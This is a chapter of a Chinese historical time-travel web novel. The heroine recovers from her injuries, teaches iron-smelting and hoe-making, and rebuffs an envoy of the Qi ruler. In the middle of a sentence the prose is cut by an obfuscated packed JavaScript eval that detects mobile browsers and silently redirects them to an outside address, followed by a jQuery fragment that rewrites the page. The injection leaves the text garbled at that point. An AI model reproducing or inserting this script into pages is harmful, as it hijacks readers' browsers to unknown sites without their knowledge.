江雅是在一阵浓郁的药香和低低的啜泣声中恢复意识的。
眼皮沉重得像是坠了铅,她费力地掀开一条缝隙,朦胧的光线刺得她微微眯起了眼。模糊的视野逐渐聚焦,首先映入眼帘的是床榻边伏着的一个小脑袋,乌黑的发髻有些松散,肩膀随着压抑的抽泣轻轻耸动,正是守候多时的小度。
江雅下意识地想动动手指,一股撕裂般的剧痛瞬间从右肩蔓延至全身,让她忍不住发出一声极轻的抽气。
“嘶……”
就这么一点微弱的声响,却像一道惊雷,炸响了室内凝滞的空气。
“夫人?!”小度猛地抬起头,一双肿得像桃子的眼睛瞬间迸发出一阵狂喜,眼泪却流得更凶了,“夫人!您醒了?!您真的醒了?!太子殿下!王姬!臧夫子!展大人!百里先生!夫人醒了!夫人醒了啊!”
小度语无伦次地喊着,想要伸手查看江雅的伤势,又怕碰到她的伤口会痛,只好死死攥着被角,哭得鼻涕眼泪糊了满脸。
急促的脚步声瞬间从外间传来,下一刻,江雅的床榻边便被围得水泄不通。
鲁同踉跄着冲到了最前面。他比之前更加消瘦,脸色苍白得没有一丝血色,原本清澈的眸子此刻布满了血丝,红肿不堪, 看起来,似乎比在给国君守丧时更加憔悴。
他看着江雅苍白虚弱的面容和额上缠着的、隐隐渗出血色的纱布,眼圈瞬间又红了,慌忙低下头,双手紧紧攥住了衣角。
他似乎有千言万语想说,有无尽的悔恨要表达,却最终只是笨拙地将一杯清水往前递了递,“娘亲…喝点水吧”,声音却干涩沙哑得不成样子。
江雅看着眼前这个略显笨拙而又憔悴的太子,又是怜惜,又是欣慰,她勉强笑了笑,强撑身子,想要接过那杯水,却只是徒劳,又疼地一嘶。
小度连忙接过,扶起江雅,小心地喂了一口。鲁同知道自己又做错了事,羞愧地低下了头。
臧达走上前,老眼含泪,激动得嘴唇哆嗦着,连连道:“苍天庇佑!苍天庇佑啊!夫人您可算醒了!”
一身素衣的周琼快步上前,眼中满是关切:“夫人,你醒来就好了…真是吓死我们了!”她身后,单伯一脸无奈又担忧地站着,显然没能拦住执意要来亲自照料的公主殿下。
而站在稍后位置的展禽和百里奚,虽未言语,但看着醒来的江雅,似乎总算松了口气。
江雅的视线缓缓扫过这一张张写满担忧、惊喜、关切的脸庞。有她穿越初识的小丫头,有自己拼死救回来的骨肉,有似爷爷般照顾自己的老人,有新结交的知己,还有她以国士相待的肱股之臣……
江雅不禁想起自己自穿越以来,背负骂名,一路挣扎求存,装疯卖傻,从未有一刻感到如此的幸福、满足。仿佛一艘在狂风巨浪中飘摇的小船,终于驶入了可以暂时停泊的港湾,一股难以言喻的暖流涌上心头。
她鼻子一酸,视线再次模糊,嘴角却努力向上扬起,扯出一个虚弱的笑容,声音干涩而沙哑:“我…我没死啊…看来我的罪孽还不够深重呢…”
她试图用惯常的玩笑冲淡这过于沉重的气氛,却不料小度“哇”地一声哭得更厉害了:“夫人!您都这样了还说笑!”
众人又是心酸又是好笑,寝殿内凝重的气氛终于被打破,多了几分劫后余生的生气。
通过众人七嘴八舌的叙述,江雅才知道,自己竟已昏迷了整整三天。想那棺椁何等沉重,她不仅右肩锁骨裂了,背上大片淤伤,内腑也受了震荡,加之额角旧伤崩裂失血,反复高烧,医正几次摇头,差点就救不回来了。
是王姬周琼,不顾单伯“于礼不合”、“恐惹非议”的苦苦劝阻,执意搬入宫中住下,分享周王室的医学典籍,与医正商讨方剂,甚至亲口尝药。
“太子更是…”小度抹着眼泪,忍不住插话,“太子这三天几乎没合过眼,除了必须由他主持的先君奠仪,其余时间都跪在太庙里向着列祖列宗祈福,祈求上天庇佑夫人您…医正每次来看诊,殿下都守在门外,紧张得不行…奴婢从未见过殿下如此…”
小度的话没说完,便被鲁同一声急促的咳嗽打断。他猛地别过脸去,耳根却不受控制地泛起红色,显然不习惯自己的这些举动被当众说出来。
待医官再次诊脉,确认江雅已无性命之忧,只需好生静养后,众人这才稍稍安心。太子要和臧达、展禽处理葬礼后续事务,先行告退。百里奚表示姬挥那些人必定还有后手,需去应对他们借此事故发起的政治攻讦。单伯把三天未合眼的周琼强行拉走,寝殿终于又安静了下来。江雅喝了两口小度喂的粥后,也沉沉睡去。
第二天,江雅一醒来,发现周琼已在一旁等候。
看到江雅醒了,周琼拿起一旁几案上的一张纸,笑道:“夫人整日奔波不定,现在总算是安定下来,可有功夫继续传授一些经世致用之学?”
江雅一看,认出那是自己在迎接周琼时做出来的那种纸,看来任明他们也没闲着啊。
江雅想起回来路上百里奚交代自己的事情,当时还为自己一言难尽的书法而头疼,现在正好名正言顺地找个专业捉刀,不由开口笑道:“正有此意!”
说是这么说,但是万事开头难。本就有选择困难症的江雅,一时竟不知从何说起,脑海里不停想起穿越名对:什么奇变偶不变,符号看象限;宫廷玉液酒,一百八一杯。
看着陷入沉思的江雅,熟悉她的小度知道,夫人肯定又是神游天外了。周琼无奈,咳了一声,把江雅的神思拉了回来。
江雅尴尬一笑,“要不,就从锄头说起?”
“锄头?是做什么用的?”
“用来耕地的,铁做的,只要轻轻一挥,就能挖起一大片土,比什么耒耜好用多了,本人亲测有效!”
要不是伤还没好,江雅真想拍拍胸脯给锄头代言。
“铁做的?据我所知,现在的铁冶炼效率本就低下,做出来的工具,质地软、韧性差,很容易卷刃、断裂,几乎没人愿意使用。”虽然知道江雅肯定有解决的办法,但周琼还是忍不住提出了自己的疑问。
“材质差是因为杂质多,可以用石灰,哦,就是白垩土去除。”江雅早就听老爸他们喝酒吹牛皮时讲过,五六十年代的土法大炼钢,就要用到石灰。更何况后来刷到冶铁炼钢的小视频时,又加深了不少印象。
看着周琼一脸迷茫的样子,江雅忍不住看向小度:“去,把任明叫过来。”
不一会,任明被带了过来。
江雅便开始和任明聊了起来。俗话说行家一出手,就知有没有。任明不愧是匠人出身,虽然对江雅的一些“溶剂、熔点”等专业名词不是太懂,但马上便抓到了关键点,对此又向江雅提出一些关键的疑问。
二人你来我回,技术交流地火热,周琼也不闲着,在一旁奋笔疾书,将两人的对话记录了下来,倒是看得小度满头大汗——感觉自己实在没用——只好时不时地给江雅递水。
接下来的日子,江雅的寝宫几乎成了一个小小的“皇家理工学院”。
任明早上来听江雅的理论教诲,下午立刻投身到伟大的实验中去。挑选木材烧炭、找矿、砌窑、锻造…第二天一早又把昨天的成果及遇到的问题向江雅汇报。
周琼则负责记录和梳理,她先将江雅和任明的口述交流一字不差地记录下来,下午又找江雅核对、提炼,然后将各种知识一一记录整理。
江雅半靠在榻上,享受着“技术总工”的待遇——自己动动嘴,看别人跑断腿,心里直呼爽歪歪。
这短暂的宁静与创造,极大地缓解了江雅自穿越以来就一直紧绷的神经和压抑的气氛。
然而,快乐的日子总是短暂的,不出意外的话,就要出意外了。
这日,鲁同正在与臧达、展禽讨论先君葬礼上发生的意外。忽然有侍卫走上前来,“禀太子,齐国上卿高奚请见。”
三人交换了一下眼神,均感意外,面色不由变得凝重,鲁同回道:“有请使者。”侍卫没走几步,臧达又把他叫住:“去把单伯先请过来。”
不一会,一个面色白皙,身材高大的人走了进来——正是高奚,后面跟着一些力夫,挑着一些礼盒。
“外臣高奚,奉我君上之命,特来拜见太子、并与单伯商议迎亲佳期。”说着,挥手递上手里的聘礼清单,并示意把身后的礼盒打开——玄纁、束帛、鹿皮,样样都按周礼备得周全,最关键的是,竟还带了一副彤弓彤矢。
这可是当初周王赐诸侯“专征伐”之权的信物,如今却被齐侯拿来当聘礼,就算是周室衰微,就算是齐强鲁弱,这般欺上门来,实在是欺人太甚!
鲁同、单伯、臧达、展禽的脸色瞬间冷了下来。
高奚并未在意众人的脸色,继续说道:“外臣闻,贵国曾为王姬筑了馆驿,可外臣前去,并未见到王姬,后来才得知鲁夫人为护储君身受重伤,王姬来国都照料夫人,这才一路追随至此。我君上听闻此事,忧心不已,特命外臣带来辽东老参、东海珠贝等薄礼,聊表慰问之意。”
鲁同手心骤然一紧,正要开口回绝,展禽早已按捺不住,愤然回道:“鲁国自有医正照料夫人,且夫人乃鲁国小君,外臣私赠药石,于礼不合。齐侯的心意,鲁国心领,但这药,还请使者带回。”
高奚手一顿,脸上的从容未散,眼底却掠过一丝不悦:“展大人未免太过拘礼。齐侯与夫人乃异母兄妹,兄妹间赠药,本是人之常情,何来‘于礼不合’?莫非鲁国连这点亲情都容不下?”
眼见气氛瞬间绷紧,单伯想起临行前周王的嘱咐,连忙打圆场道:“今日首要之事是议王姬婚期,齐侯既托使者前来,不如先说说婚期的打算?”
“齐侯之意,秋八月乃‘万物成熟’之月,可取‘婚姻稳固’之吉兆,不知单伯与鲁国意下如何。”
单伯看了看鲁同和臧达,见二人并未反对意见,便回道:“就依齐侯之意。”
见正事敲定,鲁同便想送客。不料高奚却先开口:“我君上听闻夫人身受重伤,心急如焚,本想亲自前来,却为琐事缠身,故此特命外臣,定要探望夫人本人是否安好,方能回国,还请太子应允。”
鲁同压下心中的怒火,“娘亲重伤在身,不便见外人,还请使者回禀齐侯,齐国好意,我鲁国心领。”
高奚也是抬手一揖,“如此,太子便是让外臣无法复命了,临行前君上有令:‘使命未达者,斩!’外臣死不足惜,只怕齐侯将以外臣衅鼓,亲自领兵前来,届时两国干戈四起,于民何益?还请太子三思,体谅齐侯兄妹之情!”
“你敢!”鲁同终于忍受不住,拍案而起,怒目圆睁。
臧达却是一把扯住鲁同,低声说道:“太子,不可冲动,夫人曾在齐国逼杀彭生自证,何等有谋?今日纵见高奚,也不会落了下风,要相信夫人!”
鲁同只好坐下,挥手示意边上的侍卫赶紧带高奚走。
另一边,江雅正和任明讨论曲辕犁的设计图,小度突然来报:“夫人,不好了,不好了!”
江雅正说到犁辕弯曲角度的关键处,被打断得很不耐烦,头也没抬:“怎么了?天塌下来有高个子顶着!慌什么!”
“齐侯派高奚前来讨论王姬的婚期,然后现在非要求见夫人!听说还以动兵为要挟呢!” 小度急得快要哭出来。
一直静坐在一旁,正在认真记录犁具原理的周琼,听到自己名字的瞬间,执笔的手微微一颤,一滴浓墨猝不及防地滴落,在纸上晕开一团无奈的污迹。她缓缓放下笔,原本因专注于学问而有些神采的眸子,瞬间黯淡下去,只余下一抹难以言说的落寞。
自己这个政治联姻的牺牲品,没想到还连累了最好的朋友陷入战争的阴影。要是这宁静的生活
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529942|186359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能一直持续下去该多好啊,我多想亲眼见证这些学问能一一造福于民啊!
“该死的姜诸儿,真是阴魂不散!”这要是身子骨无碍,江雅好歹得摔点东西泄愤,现在只能无奈地躺在床上骂娘。她下意识地先看了一眼周琼,捕捉到好友那瞬间黯淡的神情,心中更是火起,对那变态哥哥的厌恶又添了几分。
就在这时,门外响起高奚的声音:“外臣高奚,奉齐侯之命,特来请见夫人!”
江雅咬咬牙,挥手示意小度把人请进来。任明眼看气氛不对,识趣地收拾好图纸退了出去。
与对鲁同等人不同,高奚这下换上了一副和善的面容,“听闻夫人前些日子为护太子,伤得不轻,君上在齐国听闻后,心急如焚。特地命我带了些齐国的伤药,火速前来。这药是君上让医正用百年老参和鹿茸熬制的,对骨裂和内腑震荡最是管用。”
说着,他从随身的漆盒里取出一个白玉小瓶,递向江雅。“君上说,夫人是鲁国小君,更是…” 他顿了顿,似乎在斟酌措辞,“更是君上在世上最亲的人。夫人以后万万不可如此委屈自己。”
“最亲的人”五个字,说得又轻又重,江雅听得心里一紧—— 她太清楚这 “亲近” 背后的含义了,那是原宿主与齐侯姜诸儿之间,逾越伦理的、病态的执念。
江雅心里一阵恶心,猛地抬手推开近在咫尺的药瓶,动作牵扯到伤口,疼得她眉头紧蹙,语气却异常冷硬:“多谢齐侯好意,只是鲁国礼制,外臣的私礼,我不便收。还请使者将药带回,转告齐侯,我的伤势,鲁国医正自会照料,不劳齐侯挂心。”
高奚的手僵在半空,脸上的“和善”终于撕开一丝裂缝。他盯着江雅,声音压得更低,带着一丝只有两人能听见的急切,“夫人何必如此拒人千里?君上本欲亲自前来探视,他说……他说思念甚切,定要亲眼见您安然方能安心。只是顾忌两国体面,恐惹流言,才强抑关切,命我代劳。”
他顿了顿,“君上还说……若夫人在鲁国有任何不顺心,无论是朝堂倾轧还是宫内琐事,只需派人递个消息到临淄,君上必不惜烽火千里,挥师而来,为夫人扫清一切障碍!”
“挥师而来”二字,说得轻描淡写,却显现出赤裸裸的霸道与偏执。
弱国无外交!
江雅胸腔剧烈起伏,这一刻,她突然无比真切地体会到了历史书中那些面对强权屈辱的先辈,是何等的悲愤与无力。
“高奚!”江雅强忍剧痛,挣扎着撑起上半身,目光如剑直刺高奚,“请你自重,也请齐侯自重!我乃鲁国夫人,与齐侯仅有舅甥之名!此等悖礼之言,若传扬出去,非但天下人耻笑,更是对天子赐婚的亵渎,对齐鲁邦交的破坏!若齐侯执意要兵戈相向,我江雅虽一介女流,也必倾鲁国之力”,她一字一顿,带着决绝的狠厉,“周旋到底,至死方休!”
高奚看着江雅,只觉得这个妇人明明重伤初愈,身体还很虚弱,但是眼神里却是透露出一股野兽般的凶狠与疯狂,叫人不敢直视。他心底苦笑,这两人不愧为两兄妹。
高奚深吸一口气,换上一种近乎无赖的恳求语气:“夫人既如此说,我便不再强求。只是这伤药,确是君上的一片心意,关乎夫人玉体。若夫人执意不收,奚便长跪于门外,直至夫人回心转意,否则,归国亦是死路一条,无法向君上复命。”
江雅看着高奚决绝的眼神,知道再拒绝只会更麻烦,只厌烦地挥挥手,让小度接过药瓶。高奚见她收了,脸色才缓和些,又叮嘱道:“这药每日敷一次,这是君上特意让医正写的用法,请一并收好。夫人若是觉得哪里不舒服,随时让宫人找我,我带了齐国最好的医正,就住在城外的馆驿。”
看着一脸疲惫的江雅,高奚知道不便继续打扰,便行礼告辞。
殿内重归寂静,却弥漫着一种难以言喻的压抑。江雅无力地靠回枕上,重重叹了口气,只觉得比跑了一天业务还累。她转头看向周琼,只见好友仍怔怔地望着高奚离去的方向,眼神空洞,唇边噙着一丝苦笑。
“阿琼,”得知周琼竟亲口给自己试药后,二人的关系不禁又进一层,私下里江雅已是这般亲昵地称呼她,“对不住,让这混账东西,搅了我们的清静,还拿你的婚事当幌子。”
周琼缓缓回过头,那抹苦笑在嘴角化开,变成深深的无奈:“夫人何须道歉。我早该明白,自天子下诏那日起,我的身份,便首先是王室与齐国之间的一个纽带,其次才是周琼。”她目光落在小度手中那瓶药上,声音轻得像叹息,“齐侯对夫人尚且如此…执念深重,令人心悸。我此行前去,前途如何,可想而知。”
看着周琼眼中流露出的、与她年龄不符的苍凉和认命感,江雅的心狠狠一揪。她想起星空下那个侃侃而谈、眼中闪着理想光芒的少女,与此刻判若两人。她强撑着伸出手,紧紧握住周琼微凉的手指。
“阿琼,别怕!”江雅的声音因虚弱而微颤,却异常坚定,“记住那晚你说过的话吗?‘女子未必不如男’!姜诸儿是个疯子不假,但你不是任人摆布的玩偶。你是周王室的公主,是读过万卷书、明晓天下事的才女!就算身陷囹圄,也要想办法在里面开出花来。鲁国就是你的娘家,我永远站在你这边。他齐侯若敢欺辱你,我…我总有办法让他不好过!”
周琼闻言,眼眶蓦地红了。反手用力回握住江雅的手,仿佛要从那温暖的触碰中汲取力量。她深吸一口气,努力扬起一个笑容:“夫人…谢谢你。是啊,纵然前路荆棘,我也不能先失了志气。我一定要像夫人一样,无论多难,都要活得堂堂正正,守住自己想守护的东西。”
她们一个是挣脱过去枷锁的战士,一个是即将踏入未知牢笼的公主,两个女子的手紧紧交握,在这充满算计与压迫的世界,无声地温暖着彼此。
前方究竟会如何呢?
且让我们一起携手并进吧!